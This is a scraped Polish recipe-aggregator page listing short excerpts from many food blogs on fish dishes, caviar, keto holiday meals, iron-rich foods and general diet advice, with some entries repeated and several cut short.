alternatywy roślinne (mleko migdałowe, ryżowe, owsiane). 5. Uwzględniaj źródła białka w diecie Białko jest ważne dla regeneracji tkanek i wzmocnienia organizmu. Wybieraj chude mięsa (np. drób bez skóry, cielęcina), ryby, jajka oraz tofu. Unikaj tłustych mięs i produktów wędzonych, które mogą być trudniejsze do strawienia. 6. Unikaj ostrych przypraw i drażniących potraw Potrawy mocno przyprawione, zwłaszcza ostrymi przyprawami, mogą(...)wcześniejszej konsultacji z lekarzem, ponieważ niektóre suplementy mogą obciążać jelita. Przykładowe produkty, które można spożywać przy WZJG: Zboża : biały ryż, kasza manna, jasne pieczywo, drobne makarony Białko : chude mięso, ryby, jajka, tofu Warzywa : gotowana marchew, ziemniaki, dynia, cukinia Owoce : banany, obrane jabłka, melony, brzoskwinie Tłuszcze : niewielkie ilości oliwy z oliwek, oleju rzepakowego Przeczytaj także: O jelitach słów kilka Kisiel

Natka Pietruszki
Mintaj w warzywach 15

kilka ząbków czosnku kapusta, dynia koperek masło estragon, papryka mielona słodka i ostra, rozmaryn, sól, pieprz czarny mielony, odrobina kurkumy Przygotowanie; Warzywa obrałam, pokroiłam niezbyt drobno, brukselki nie kroiłam Rybę posypałam ziołami Do rękawa do pieczenia włożyłam wszystkie warzywa, a pomiędzy rybę Już w rękawie posypałam solą i pieprzem, dołożyłam sporo masła Rękaw zamknęłam klipsami z obu stron i piekłam(...)ziemniaków (małych, pokrojonych, by się upiekły), połowa małej dyni, połowa małej główki białej kapusty, kilka ząbków czosnku,ale można użyć dowolnej ilości i takich które szczególnie lubimy, najmniej było ryby

Proste Potrawy
Co ma dużo żelaza? Poznaj pełną listę produktów 13

warte uwagi będą pasztety i kaszanka , zawierające omawiany pierwiastek. Sporo żelaza obecnego jest w jajach : kurzym (6,97 mg), kaczym (3,85 mg) oraz gęsim (3,64 mg). Miłośnicy ryb i owoców morza także znajdą w nich pewną ilość żelaza! Najwięcej cennego pierwiastka dostarczy kawior (11,9 mg), ostrygi (5,78 mg), ośmiornice (5,3 mg) i małże(...)Pośród ryb warto natomiast sięgnąć po sardynki (2,92 mg) oraz makrele (1,63 mg). Które warzywa są bogate w żelazo? Co najmniej kilka warzyw jest źródłem żelaza, które warto uwzględnić w swojej diecie. Choć jest ono nieco słabiej przyswajalne, istnieją jednak sposoby poprawiające stopień jego wchłaniania. Mowa tu m.in. o spożywaniu jarzyn na surowo – gotowanie powoduje bowiem znaczne

Rozdomowiona
Dieta ketogeniczna wegetariańska – jak zacząć dietę keto? Przykładowy jadłospis 12

prowadzi do stanu ketozy. W tym stanie organizm zaczyna spalać tłuszcze jako główne źródło energii, zamiast glukozy. Wegetariańska dieta ketogeniczna natomiast łączy zasady diety keto z wykluczeniem mięsa i ryb, dzięki czemu odpowiednia jest dla osób przestrzegających zasad wegetarianizmu. Jak zbilansować keto dietę wegetariańską Kluczowym aspektem wegetariańskiej diety ketogenicznej jest odpowiednie zbilansowanie składników odżywczych. Ważnym jest, aby spożywać dużą(...)może być równie smaczna i satysfakcjonująca jak tradycyjna dieta ketogeniczna. Keto wegetarianizm a niedobory żywieniowe Jednym z głównych wyzwań keto wegetarianizmu jest unikanie niedoborów związanych z wyeliminowaniem mięsa i ryb z diety. Szczególną uwagę należy zwrócić na dostarczanie odpowiednich ilości witaminy B12, żelaza, kwasów omega-3 oraz błonnika. Spożywanie różnorodnych, bogatych w składniki odżywcze produktów roślinnych pomoże uniknąć potencjalnych

ZGruntuFit
Złote zasady diety pracownika biurowego 12

pracę mózgu Pracownik biurowy to często osoba, która musi pracować umysłowo, zatem warto wiedzieć, jakie produkty będą szczególnie wspierać pracę mózgu. Zdecydowanie warto włączyć je do swojej codziennej diety. Ryby bogate w kwasy omega-3: Tłuste ryby, takie jak łosoś, makrela i sardynki, są bogate w kwasy tłuszczowe omega-3, które są istotne dla zdrowia mózgu. Kwasy omega

Natka Pietruszki
Ile kosztuje 1 kg kawioru? 21

ziarna, będzie droższy niż kawior niższej jakości, który może mieć mniejsze i mniej atrakcyjne ziarna. Dostępność Kawior jest produktem, który nie jest łatwo dostępny. Z uwagi na ograniczoną ilość ryb produkujących kawior oraz trudności w hodowli, cena kawioru może być wysoka. Ponadto, niektóre gatunki ryb, takie jak beluga, są zagrożone wyginięciem, co również wpływa na cenę kawioru. Przykładowe

Żyję by jeść
Łosoś z sałatką quinoa 15

grejpfruta kilka listków świeżej mięty sól, pieprz Filety z łososia kładziemy na desce oczyszczoną z łusek skórą do dołu. Każdego nacinamy wzdłuż nożem, ale nie przecinając skóry. Rozchylamy brzegi ryby tworząc steki. Rybę polewamy i obtaczamy w sosie ponzu. Odstawiamy na 30 minut do lodówki. Komosę płuczemy w wodzie i odcedzamy. Następnie zalewamy 200 ml świeżej wody i gotujemy

Delicious Place
Z czym jeść ryż? Propozycje dla każdego 28

smaki. Sprawdź moje zestawienie! Ryż na słono Dania na słono to klasyczna opcja, która sprawdzi się w każdej kuchni. Możesz je oprzeć zarówno na mięsie, jak i warzywach czy rybach, tworząc sycące i pełne smaku potrawy. Zobacz, z czym jeść ryż na słono. Dania mięsne Ryż idealnie komponuje się z różnymi rodzajami mięsa. Kurczak, wołowina, wieprzowina czy indyk – każde(...)kurczaka. Popularnym dodatkiem do niego są też rodzynki lub agrest z kompotu. Tak zwana potrawka to od wielu lat popularne danie w wielu polskich domach. Potrawy z dodatkiem ryb Ryż to także idealny dodatek do potraw rybnych. Zapiekanka z tuńczykiem i ogórkami konserwowymi to jedna z ciekawszych propozycji, która zaskoczy niejedno podniebienie. Możesz także podać ryż z grillowanym łososiem

Rozdomowiona
Puree z zielonego groszku 28

Puree z zielonego groszku z dodatkiem śmietanki, soku z cytryny i mięty, to prosty warzywny dodatek do mięs oraz ryb. Zachwyca ono smakiem a także prostotą wykonania. Znaleźć można je zarówno w menu wykwintnych restauracji jak i w kuchni domowej. Danie to najbardziej znane jest zapewne w kuchni angielskiej, ponieważ najpopularniejsze danie tejże kuchni czyli smażona ryba, jest zazwyczaj(...)serwowane z frytkami i puree z groszku . W domu z puree podaję rybę, polędwiczkę, wołowinę a także pieczone warzywa. Zachęcam was do sięgnięcia po poniższy przepis na puree z zielonego groszku i życzę smacznego. Znajdziesz mnie na Instagram:  mecooksblog  oraz Facebook:  MeCooks Puree z groszku Składniki na puree z zielonego groszku. 450 g mrożonego, zielonego groszku

MeCooks
Kiedy jeść ryż? 23

składnik sałatki warzywnej. Ryż na lunch Podczas lunchu ryż może być świetnym składnikiem posiłku. Jest lekkostrawny i dostarcza organizmowi niezbędnych składników odżywczych. Możesz go podać jako dodatek do mięsa, ryby lub warzyw, aby urozmaicić swoje danie. Ryż jest również dobrym źródłem błonnika, który pomaga w utrzymaniu prawidłowego trawienia. Ryż na kolację Jeśli szukasz lekkiego i łatwego do strawienia posiłku(...)być korzystne. Węglowodany zawarte w ryżu są szybko przyswajane przez organizm i mogą dostarczyć Ci energii potrzebnej do wykonywania wysiłku fizycznego. Możesz go podać jako dodatek do kurczaka lub ryby przed treningiem, aby zwiększyć swoją wydolność. Ryż jako przekąska Ryż może być również świetną przekąską w ciągu dnia. Możesz przygotować go w formie prażonej lub w postaci chrupiących chipsów

Żyję by jeść
Fast food Nocą Historia i Pochodzenie  26

Pizza Hut, stała się jednym z najpopularniejszych dań fast food na świecie. Szybkie przygotowanie i różnorodność dodatków czynią ją idealnym wyborem na szybki posiłek. 3. Kurczak i Ryby: Sieci takie jak KFC czy Popeyes zbudowały swoje imperia na smażonym kurczaku, który stał się synonimem szybkiego jedzenia. Oprócz kurczaka, w fast foodach często oferowane są również dania z ryb, takie jak fish and chips czy filet-o-fish. 4. Tacos i Burritos : Fast foody inspirowane kuchnią meksykańską, takie jak Taco Bell, oferują szybkie dania na bazie tortilli, mięsa, fasoli i warzyw. Są one szczególnie popularne w Stanach Zjednoczonych, ale zdobywają również rynki w innych częściach świata. 5. Fast Food Azjatycki : Współczesne fast foody to także dania inspirowane kuchnią

RafalCook
Jak wykorzystać cukier lawendowy w kuchni – od deserów po dania główne 35

lawendowym, czosnkiem, tymiankiem i rozmarynem. Mięso powinno być marynowane przez co najmniej kilka godzin (optymalnie całą noc) przed pieczeniem go w piekarniku lub na ruszcie grilla. Lawendowy sos do ryb przygotowuje się ze śmietany, cukru lawendowego, cytryny i świeżego koperku. Doskonale komponuje się z grillowanym łososiem, wydobywając głębię jego smaku i podkreślając strukturę mięsa. Jeśli nie przepadasz za śmietaną(...)cukrem lawendowym, solą oraz pieprzem. Gdy całość będzie zarumieniona i miękka, warzywa są gotowe do podawania. Można je jeść solo, jako danie wegetariańskie, albo jako dodatek do mięs czy ryb. Aromatyczny cukier lawendowy — potrawy cieszące podniebienie Na koniec kilka ogólnych uwag. Pamiętaj, aby używać cukru lawendowego z umiarem. Jest to przyprawa, która może zdominować smak potrawy. Powyższe przepisy traktuj

Słodkie okruszki
Jak wprowadzić więcej warzyw do diety- przewodnik do zdrowszego odżywiania 25

warzyw do posiłków, np. do omletów, sałatek, kanapek czy makaronów. Wykorzystywanie warzyw jako bazy do sosów i zup, np. pomidorów, papryki czy brokułów. Stosowanie warzyw jako dodatków do mięsa, ryb czy dań wegetariańskich . Przygotowywanie warzywnych smoothie, które można wypić na śniadanie lub jako przekąskę. Przepisy na smaczne dania z warzywami Wprowadzenie warzyw do diety może być smaczne i kolorowe(...)pietruszki. Pieczone pasternaki z miodem i tymiankiem : Pokrój pasternaki w słupki, polej miodem, posyp tymiankiem, solą i pieprzem, a następnie piecz w piekarniku. Podawaj jako dodatek do mięsa lub ryby. Surówka z kalarepy i marchwi : Zetrzyj kalarepę i marchew na tarce, dodaj posiekaną cebulę, sól, pieprz, olej i ocet, a następnie wymieszaj. Podawaj jako zdrową przekąskę lub dodatek

Ugotowane pozamiatane
Gdzie można kupić Kawior? 29

jedno z najbardziej pożądanych dań na ekskluzywnych przyjęciach i uroczystościach. Kawior – krótka historia Kawior jest pochodzenia rosyjskiego i jest znany od wieków jako wykwintna przekąska. Pochodzi z ikry ryb z rodziny jesiotrowatych, takich jak jesiotr, beluga, osetra i sevruga. Kawior jest uważany za jeden z najdroższych i najbardziej ekskluzywnych produktów spożywczych na świecie. Rodzaje kawioru Istnieje wiele rodzajów(...)kawioru, zależnie od gatunku ryby, z której pochodzi. Najbardziej znane i cenione są kawior jesiotra, belugi i osetra. Kawior jesiotra jest najbardziej popularny i dostępny w różnych kolorach, takich jak złoty, czarny i czerwony. Beluga to najrzadszy i najdroższy rodzaj kawioru, charakteryzujący się dużymi jasnoszarymi ziarnami. Osetrowy kawior ma mniejsze ziarna i jest bardziej dostępny cenowo. Gdzie kupić kawior

Żyję by jeść
Odpowiednia dieta bogata w witaminy to klucz do zdrowia. Sprawdź czego nie powinno zabraknąć w Twojej diecie 24

zębów, ponieważ wspomaga wchłanianie wapnia i fosforu z pożywienia. Niedobór witaminy D może prowadzić do osteoporozy u osób dorosłych i krzywicy u dzieci. Naturalne źródła tej witaminy to tłuste ryby (łosoś, makrela, sardynki), oleje rybne, jaja oraz wzbogacane produkty mleczne. Jak zadbać o dietę bogatą w witaminy? Wiesz już jakich witamin nie powinno zabraknąć w twojej diecie. Jak jednak(...)nich rozpuszczają się w tłuszczach, dlatego też w zdrowej diecie nie powinno ich zabraknąć – szczególnie kwasów tłuszczowych omega 3 i 6. Nie można zapominać o źródłach białka, jak ryby, drób, orzechy czy rośliny strączkowe, które również są cennym źródłem witamin. Uzupełnieniem diety mogą być suplementy witaminowe, jednak powinny być stosowane z rozwagą i najlepiej po konsultacji z lekarzem

Blendman
Smażony dorsz w curry z kalafiorem w cieście 22

Czasami "kombinacje alpejskie" są bardzo wskazane w kuchni. Tym bardziej, jak do dyspozycji mamy kawał ryby. Taka w panierce z kapustą kiszoną się przejadła, choć nie mówię, że od czasu, do czasu nie gości na stole. Uwielbiam kulinarne eksperymenty, a szczególnie te, które wychodzą. Nie zrażajcie się ilością składników czy też wielkością opisu. Wbrew pozorom danie robi się(...)różyczki kalafiora. Smażymy na rozgrzanym, głębokim oleju.   Sos: Mleko gotujemy kilka minut z liśćmi kaffiru i żółtą pastą curry. Zagęszczamy skrobią kukurydzianą wymieszaną z zimną wodą. Zagotowujemy.   Rybę smażymy na rozgrzanym oleju kokosowym, po dwie minuty z każdej strony.   Podajemy z sosem i usmażonymi kawałkami kalafiora w cieście

R'n'G Kitchen
Keto święta 29

pieczony stek wołowy lub pieczeń wieprzowa, podawane z aromatycznymi ziołami i sosem z masła . Inną opcją są duszone żeberka wieprzowe w sosie koperkowym , idealne na wigilijny stół. Dla miłośników ryb pieczona dorsz w sosie cytrynowym lub łosoś z koperkiem to pyszne i zdrowe dania. Wielbicieli drobiu mogą zainteresować pieczone kawałki kurczaka z suszonymi pomidorami i bazylią . Wśród dań mięsnych(...)Podczas gdy dieta ketogeniczna promuje zdrowe tłuszcze i ograniczenie węglowodanów, keto dania świąteczne mogą być równie smaczne i atrakcyjne dla podniebienia. Korzystanie z naturalnych składników, takich jak warzywa, mięso, ryby i zdrowe tłuszcze, pozwala na przygotowanie pysznych potraw, które są zarówno zgodne z zasadami diety keto, jak i zachwycające dla kubków smakowych. Ponadto keto święta mogą być okazją

Keto - Meto Przepisy
Keto święta 29

pieczony stek wołowy lub pieczeń wieprzowa, podawane z aromatycznymi ziołami i sosem z masła . Inną opcją są duszone żeberka wieprzowe w sosie koperkowym , idealne na wigilijny stół. Dla miłośników ryb pieczona dorsz w sosie cytrynowym lub łosoś z koperkiem to pyszne i zdrowe dania. Wielbicieli drobiu mogą zainteresować pieczone kawałki kurczaka z suszonymi pomidorami i bazylią . Wśród dań mięsnych(...)Podczas gdy dieta ketogeniczna promuje zdrowe tłuszcze i ograniczenie węglowodanów, keto dania świąteczne mogą być równie smaczne i atrakcyjne dla podniebienia. Korzystanie z naturalnych składników, takich jak warzywa, mięso, ryby i zdrowe tłuszcze, pozwala na przygotowanie pysznych potraw, które są zarówno zgodne z zasadami diety keto, jak i zachwycające dla kubków smakowych. Ponadto keto święta mogą być okazją

Keto Meto Przepisy
Czy jest kawior że ślimaka? 34

jest kawior że ślimaka? Czy jest kawior że ślimaka? W ostatnich latach kawior stał się jednym z najbardziej ekskluzywnych i poszukiwanych produktów spożywczych na świecie. Tradycyjnie pochodził głównie z ryb, takich jak jesiotr czy łosoś. Jednak wraz z rosnącym zainteresowaniem kulinarnym i eksperymentowaniem, pojawiły się nowe odmiany kawioru, w tym kawior ze ślimaka. Historia kawioru Kawior jest znany(...)przez różne kultury na całym świecie. Początkowo był spożywany przez starożytnych Persów, a następnie rozprzestrzenił się na inne regiony, takie jak Rosja i Europa. Tradycyjnie kawior pochodził z jaj ryb jesiotrowatych, które są delikatnie zbierane i przetwarzane, aby uzyskać charakterystyczne ziarenka kawioru. Nowe trendy kulinarnego eksperymentowania W ostatnich latach kucharze i smakosze zaczęli eksperymentować z różnymi rodzajami kawioru

Żyję by jeść
Czego brakuje w organizmie gdy bolą stawy? 32

może prowadzić do niedoboru tej witaminy. Aby zwiększyć poziom witaminy D w organizmie, warto spędzać więcej czasu na świeżym powietrzu i spożywać produkty bogate w tę witaminę, takie jak ryby, jaja i mleko. Niedobór witaminy C Witamina C jest znana ze swoich właściwości przeciwzapalnych i antyoksydacyjnych. Jej niedobór może prowadzić do osłabienia tkanki łącznej, w tym stawów. Witamina(...)łagodzeniu bólu stawów. Niedobór tych kwasów może prowadzić do stanów zapalnych w organizmie, które mogą wpływać na stawy. Aby zwiększyć spożycie kwasów tłuszczowych omega-3, warto sięgać po ryby, takie jak łosoś, sardynki i tuńczyk, oraz orzechy włoskie i nasiona chia. Niedobór minerałów Minerały, takie jak magnez, wapń i miedź, są niezbędne dla zdrowia naszych stawów. Niedobór tych minerałów

Żyję by jeść
Zdrowe oczy, czyli co warto mieć w swoim menu, aby dobrze widzieć? 27

zakrzepów tętnicy gałki ocznej. 3. Bardzo ważna jest dbałość o obecność w diecie cynku . Jego niedobór w siatkówce oka może prowadzić do krótkowzroczności. Dobrym źródłem cynku jest mięso i ryby, a także ser, mleko i orzeszki ziemne. 4. Musimy także pamiętać o miedzi , która pomaga w utrzymaniu wiązań kolagenowych. Miedź znajdziemy w podrobach, roślinach strączkowych, orzechach i produktach pełnoziarnistych(...)naszej diecie nie może zabraknąć także zdrowych kwasów tłuszczowych omega-3. Dzięki zmniejszeniu produkcji mediatorów stanu zapalnego ograniczają one nieprawidłowości w ukrwieniu oka. Kwasy omega- 3 znajdziemy w: tłustych rybach (łosoś, makrela, sardynki), siemieniu lnianym, nasionach chia, czy orzechach włoskich. 6. Istotne są także antocyjany , które obniżają kruchość naczyń włosowatych i przyspieszają regenerację barwnika odpowiedzialnego za prawidłowe widzenie. Znajdziemy

Natka Pietruszki
Dorsz w sosie koperkowym z groszkiem cukrowym 34

Dorsz w sosie koperkowym z groszkiem cukrowym Bardzo prosty i bardzo szybki pomysł na obiad z rybą w roli głównej. Ten sos z dorszem jest bardzo smaczny i można go podać z ziemniakami albo z ryżem czy kaszą. Sprawdzi się też jako dodatek do makaronu. Polecam koniecznie w towarzystwie surówki czy innych warzyw pokrojonych w słupki. W diecie niskowęglowodanowej(...)carb, przy cukrzycy , insulinooporności można podać rybę z sosem do kalafiora czy brokuła ugotowanego albo do makaronu z cukinii zamiast makaronu mącznego czy inny węglowodanów. Po więcej inspiracji zapraszam was na moje konta Instagram oraz TikTok . PRZEPIS DORSZ W SOSIE KOPERKOWYM Z GROSZKIEM CUKROWYM Składniki: 500g filetów z dorsza 100g groszku cukrowego 1 szalotka 1 ząbek czosnku 1 łyżka masła

Dorota Smakuje
Keto święta 38

pieczony stek wołowy lub pieczeń wieprzowa, podawane z aromatycznymi ziołami i sosem z masła . Inną opcją są duszone żeberka wieprzowe w sosie koperkowym , idealne na wigilijny stół. Dla miłośników ryb pieczona dorsz w sosie cytrynowym lub łosoś z koperkiem to pyszne i zdrowe dania. Wielbicieli drobiu mogą zainteresować pieczone kawałki kurczaka z suszonymi pomidorami i bazylią . Wśród dań mięsnych(...)Podczas gdy dieta ketogeniczna promuje zdrowe tłuszcze i ograniczenie węglowodanów, keto dania świąteczne mogą być równie smaczne i atrakcyjne dla podniebienia. Korzystanie z naturalnych składników, takich jak warzywa, mięso, ryby i zdrowe tłuszcze, pozwala na przygotowanie pysznych potraw, które są zarówno zgodne z zasadami diety keto, jak i zachwycające dla kubków smakowych. Ponadto keto święta mogą być okazją

Keto Meto Przepisy
Keto święta 38

pieczony stek wołowy lub pieczeń wieprzowa, podawane z aromatycznymi ziołami i sosem z masła . Inną opcją są duszone żeberka wieprzowe w sosie koperkowym , idealne na wigilijny stół. Dla miłośników ryb pieczona dorsz w sosie cytrynowym lub łosoś z koperkiem to pyszne i zdrowe dania. Wielbicieli drobiu mogą zainteresować pieczone kawałki kurczaka z suszonymi pomidorami i bazylią . Wśród dań mięsnych(...)Podczas gdy dieta ketogeniczna promuje zdrowe tłuszcze i ograniczenie węglowodanów, keto dania świąteczne mogą być równie smaczne i atrakcyjne dla podniebienia. Korzystanie z naturalnych składników, takich jak warzywa, mięso, ryby i zdrowe tłuszcze, pozwala na przygotowanie pysznych potraw, które są zarówno zgodne z zasadami diety keto, jak i zachwycające dla kubków smakowych. Ponadto keto święta mogą być okazją

Keto - Meto Przepisy
Top 10 hitów na grilla! 55

rewelacyjnie smakuje, a przy tym jest łatwe i szybkie w przygotowaniu.   Grillowane ziemniaczki Przepis tutaj (KLIK) Ziemniaczki pieczone w boczku wędzonym to pyszny dodatek do grillowanych mięs, ryb i warzyw. Smakują wybornie i są szybkie w przygotowaniu. Można je przygotować także w piekarniku – wówczas pieczemy je do momentu, aż boczek wyraźnie się zrumienia.   Grillowane polędwiczki Przepis tutaj(...)domowej, bardzo prostej do wykonania marynacie. Zobaczycie, to mięsko wprost rozpływa się w ustach!   Sałatka ziemniaczana do grilla Przepis tutaj (KLIK) Ta sałatka świetnie pasuje do mięs i ryb z grilla, a także do potraw pieczonych w piekarniku. Smakuje wybornie i pięknie prezentuje się na stole. Polecam!   Chińska sałatka do grilla Przepis tutaj (KLIK) Bardzo smaczny dodatek

Blog z Apetytem
Jak szybko podnieść poziom żelaza? 38

utrzymać go na odpowiednim poziomie. Dieta bogata w żelazo Pierwszym krokiem do podniesienia poziomu żelaza jest wprowadzenie do diety produktów bogatych w ten składnik. Najlepszym źródłem żelaza są mięso, ryby i drób. Warto również spożywać rośliny strączkowe, takie jak soczewica, fasola czy ciecierzyca. Warzywa liściaste, takie jak szpinak i jarmuż, również zawierają dużo żelaza. Ważne jest również spożywanie produktów(...)skonsultować się z lekarzem. Wezwanie do działania: Aby szybko podnieść poziom żelaza, zalecamy podjęcie następujących kroków: 1. Zwiększ spożycie żelaza bogatych w produkty spożywcze, takie jak czerwone mięso, drób, ryby, szpinak, jarmuż, fasola, soczewica, orzechy i nasiona. 2. Unikaj jedzenia lub picia produktów, które mogą hamować wchłanianie żelaza, takich jak kawa, herbata, nabiał i produkty bogate w wapń

Żyję by jeść
KONFITURA POMARAŃCZOWA 26

Konfitura pomarańczowa z delikatną skórką pomarańczową to dodatek który warto mieć lodówce. Ta konfitura zmienia dania w smakowe dzieło sztuki. Nieoceniony dodatek do słodkich naleśników, placków, pierogów, sałatek czy ryb. Aromatyczna, bezbłędnie zestawiona barwa smakowa. Totalny obłęd dla podniebienia. INNE PYSZNE PRZEPISY:   POMARAŃCZOWA SZARLOTKA Z ORZECHAMI BRAZYLIJSKIMI     GRUSZKOTKA Z BITĄ ŚMIETANĄ W SZKLANCE     KREM(...)Konfitura pomarańczowa z delikatną skórką pomarańczową to dodatek który warto mieć lodówce. Ta konfitura zmienia dania w smakowe dzieło sztuki. Nieoceniony dodatek do słodkich naleśników, placków, pierogów, sałatek czy ryb. Aromatyczna, bezbłędnie zestawiona barwa smakowa. Totalny obłęd dla podniebienia. Rodzaj Dodatki, Kuchnia Polska Słowo kluczowe Konfitura, Pomarańcze, Skórka pomarańczowa Czas przygotowania 1 godzina godzina Czas gotowania 45 minuty minuty

globuskulinarny
Hummus, przepis: jak przygotować idealny domowy hummus z ciecierzycy? 37

hummus w kuchni: Do mięsa: hummus doskonale komponuje się z grillowanym kurczakiem, jagnięciną czy wołowiną. Można go podać jako sos do mięsa lub jako dodatek do sałatek mięsnych. Do ryb: hummus może być również używany jako dodatek do ryb, takich jak łosoś, tuńczyk czy dorsz. W połączeniu z warzywami i ziołami tworzy wyjątkowe danie. Do sałatek: hummus może

Ugotowane pozamiatane
Przepisy dla dzieci: zdrowe i smaczne posiłki dla najmłodszych 28

próbowania nowych smaków. Pamiętajmy również o tym, że wartościowe witaminy dla dzieci można znaleźć nie tylko w warzywach i owocach, ale także w produktach takich jak jaja, ryby, mięso czy nabiał. Podsumowanie Przedstawiłam powyżej różne aspekty związane z przepisami dla dzieci , takie jak nowe smaki, proste dania, zdrowe obiady, gotowanie z dziećmi, ciasteczka, przekąski, desery, śniadania, dania dla niejadków(...)może być doskonałą okazją do nauki i zabawy, a także budowania więzi rodzicielskiej. Zdrowa dieta dla dzieci to nie tylko warzywa i owoce, ale także produkty takie jak jaja, ryby, mięso czy nabiał. Warto zwrócić uwagę na wprowadzenie nowych smaków oraz składników odżywczych w diecie dziecka, aby przyzwyczaić je do różnorodności i uniknąć wybredności. Dbając o zdrowie naszych pociech

Wiszniówka
Makaron z łososiem i koperkiem 24

Makaron z łososiem i koperkiem będzie pyszną opcją obiadu lub ciepłej kolacji z rybą i makaronem. {"@context":"http:\/\/schema.org","@type":"Recipe","image":["https:\/\/www.bardzogrubysmok.pl\/wp-content\/uploads\/2024\/03\/makaron-z-lososiem-i-koperkiem-250x250.jpg","https:\/\/www.bardzogrubysmok.pl\/wp-content\/uploads\/2024\/03\/makaron-z-lososiem-i-koperkiem-198x164.jpg","https:\/\/www.bardzogrubysmok.pl\/wp-content\/uploads\/2024\/03\/makaron-z-lososiem-i-koperkiem-320x200.jpg"],"recipeIngredient":["200g makaronu,\r","1 du\u017cy filet \u0142ososia lub pstr\u0105ga \u0142ososiowego,\r","p\u00f3\u0142(...)cebula,\r","1\/2 szklanki \u015bmietanki 30%,\r","odrobina cytryny,\r","oliwa,\r","s\u00f3l, pieprz"],"name":"Makaron z \u0142ososiem i koperkiem","recipeCategory":"makaron i ry\u017c, ryby","cookTime":"PT0H0M","prepTime":"PT0H0M","recipeInstructions":["\u0141ososia oddzieli\u0107 od sk\u00f3ry, usun\u0105\u0107 o\u015bci.\r","Podzieli\u0107 \u0142ososia na kawa\u0142eczki (widelcem lub pokroi\u0107 w kostk\u0119

Bardzo Gruby Smok
Babka czekoladowa - wilgotna i aromatyczna 22

Babka czekoladowa posypana cukrem pudrem Ta babka czekoladowa to prawdziwa poezja czekoladowego smaku. Jest cudownie wilgotna, bardzo czekoladowa, pachnie delikatnie wanilią i leciutką nutką kawy. Czego

Korniszonki
Jajka faszerowane musem z tuńczyka i kiełkami z buraka 35

faszerowane tuńczykiem nadają się na imprezę? Absolutnie! Jajka faszerowane tuńczykiem są idealne jako elegancka, ale łatwa w przygotowaniu przekąska na różnego rodzaju imprezy i spotkania. Czy mogę użyć innej ryby zamiast tuńczyka? Tak, możesz eksperymentować z różnymi rodzajami ryb w puszkach, takimi jak łosoś lub makrela, aby uzyskać różnorodność smaków. Jak mogę sprawić, aby moje jajka faszerowane były

Moja Książka Kucharska
dorsz w chrupiącym cieście piwnym 22

cytryny dodatkowo: mąka do oprószenia tłuszcz do smażenia wykonanie: Mąkę przesiewamy z proszkiem do pieczenia a następnie powoli wlewamy zimne piwo i delikatnie mieszamy np. rózgą kuchenną. Mięso ryby dzielimy na mniejsze kawałki, oprószamy solą, pieprzem i skrapiamy sokiem z cytryny. Obtaczamy w mące a następnie zanurzamy w cieście piwnym i smażymy na rumiano, na rozgrzanym tłuszczu. Podajemy

Domowy Smak Jedzenia
Parowar szklany czy plastikowy – który wybrać? 32

zabrać ze sobą, na przykład w podróżach Szybkie i zdrowe gotowanie – zachowuje składniki odżywcze i aromat potraw Wielofunkcyjność – można w nim przygotować różnorodne dania, od warzyw po ryby i mięso Łatwe czyszczenie – małe parowary są zazwyczaj łatwe do zmywania i utrzymania w czystości Parowar to idealne rozwiązanie dla osób, które chcą gotować zdrowo i smacznie, nawet(...)odżywczych. Takie gotowanie pozwala na zachowanie naturalnych smaków i aromatów składników, co daje nam zdrowsze i smaczniejsze posiłki. Pieczenie także jest możliwe w parowarze, który umożliwia nam upieczenie mięsa, ryb, warzyw i innych potraw. Parowar zapewnia równomierne rozprowadzenie ciepła, co przekłada się na idealne i soczyste efekty pieczenia. Niektóre parowary posiadają również funkcję grillowania, która pozwala na uzyskanie efektu

Ekscentryczny Parowar
Jaki kawior jest lepszy czarny czy czerwony? 40

przyjrzymy się bliżej obu rodzajom kawioru i postaramy się odpowiedzieć na pytanie, który jest lepszy. Czarny kawior Kawior czarny jest najbardziej znany i powszechnie dostępny. Pochodzi głównie z jesiotra, ryby słodkowodnej, która zamieszkuje rzeki i jeziora w różnych częściach świata. Jest to najdroższy rodzaj kawioru, ze względu na ograniczoną ilość dostępnych ryb i długotrwały proces produkcji. Czarny kawior

Żyję by jeść
Co lubi trzustka i wątroba? 36

prowadzić do zwiększonej produkcji enzymów trawiennych przez trzustkę, co może doprowadzić do stanu zapalnego. Zamiast tego, warto wybierać lekkie i łatwostrawne posiłki, takie jak gotowane warzywa, chude mięso i ryby. Wątroba Wątroba jest największym narządem w naszym ciele i pełni wiele istotnych funkcji. Jedną z jej głównych ról jest oczyszczanie organizmu z toksyn i produkcja żółci, która pomaga(...)spożywanie białka Wątroba potrzebuje odpowiedniej ilości białka, aby prawidłowo funkcjonować. Białko jest niezbędne do odbudowy i regeneracji komórek wątroby. Dlatego warto regularnie spożywać źródła białka, takie jak chude mięso, ryby, jaja i rośliny strączkowe. Ograniczenie spożycia alkoholu Alkohol jest jednym z największych wrogów wątroby. Spożywanie nadmiernej ilości alkoholu może prowadzić do uszkodzenia komórek wątroby i rozwoju chorób, takich

Żyję by jeść
Pomysły na polski obiad – czym zaskoczyć gości? 40

dania z efektem wow! Tradycyjna kuchnia polska opierała się na składnikach, które były łatwo dostępne w dawnych czasach na terenie naszego kraju. Dominowały tu potrawy ze zbóż, warzyw, nabiału, ryb słodkowodnych i mięs. Popularne były też dania z dodatkiem runa leśnego . Oczywiście tradycyjna kuchnia różniła się nieco w zależności od regionu Polski, jednak typowe surowce i dania były zbieżne(...)względu na nabiał, jednak z biegiem czasu wskutek zwiększania liczby pastwisk, zaczęto je trzymać też z uwagi na cenne mięso. Inne doskonałe pomysły na polski obiad to pieczone ryby, smażone podroby czy rolady z wieprzowiny. Wśród nieco nowszych dań, na które spory wpływ miały kuchnie innych krajów, znajdziemy kotlet schabowy, gulasz czy golonkę. W moim odczuciu jednak zrazy

Rozdomowiona
Kaszotto z rybą i warzywami 30

typu przepisy, które bazują na tym, by składniki pokroić, połączyć na patelni i krótko przesmażyć czy dusić pod przykryciem, to zdecydowanie coś w sam raz dla mnie. Kaszotto z rybą i warzywami przygotowałam inspirując się przepisem z książki Niski indeks glikemiczny 28 dni na talerzu. Nie dość, że smacznie, to jeszcze zdrowo i z niskim IG. 2-3 porcje

Smaki Na Talerzu
Tatar z łososia 29

dodasz zależy od tego, jak słony będzie kupiony przez Ciebie łosoś. Mój był dość słony, więc wystarczyła mi jedna łyżka sosu. Przy okazji polecam Ci kupowanie dobrej jakości ryb, ze sprawdzonego źródła. Upewnij się czy nie były one wcześniej mrożone, bo taka ryba niestety traci dużo na smaku. Ja zawsze wybieram łososia wędzonego na zimno. Filmik, jak zrobić tatara

Kulinarne przygody Gatity
Koreczki śledziowe po kaszubsku 50

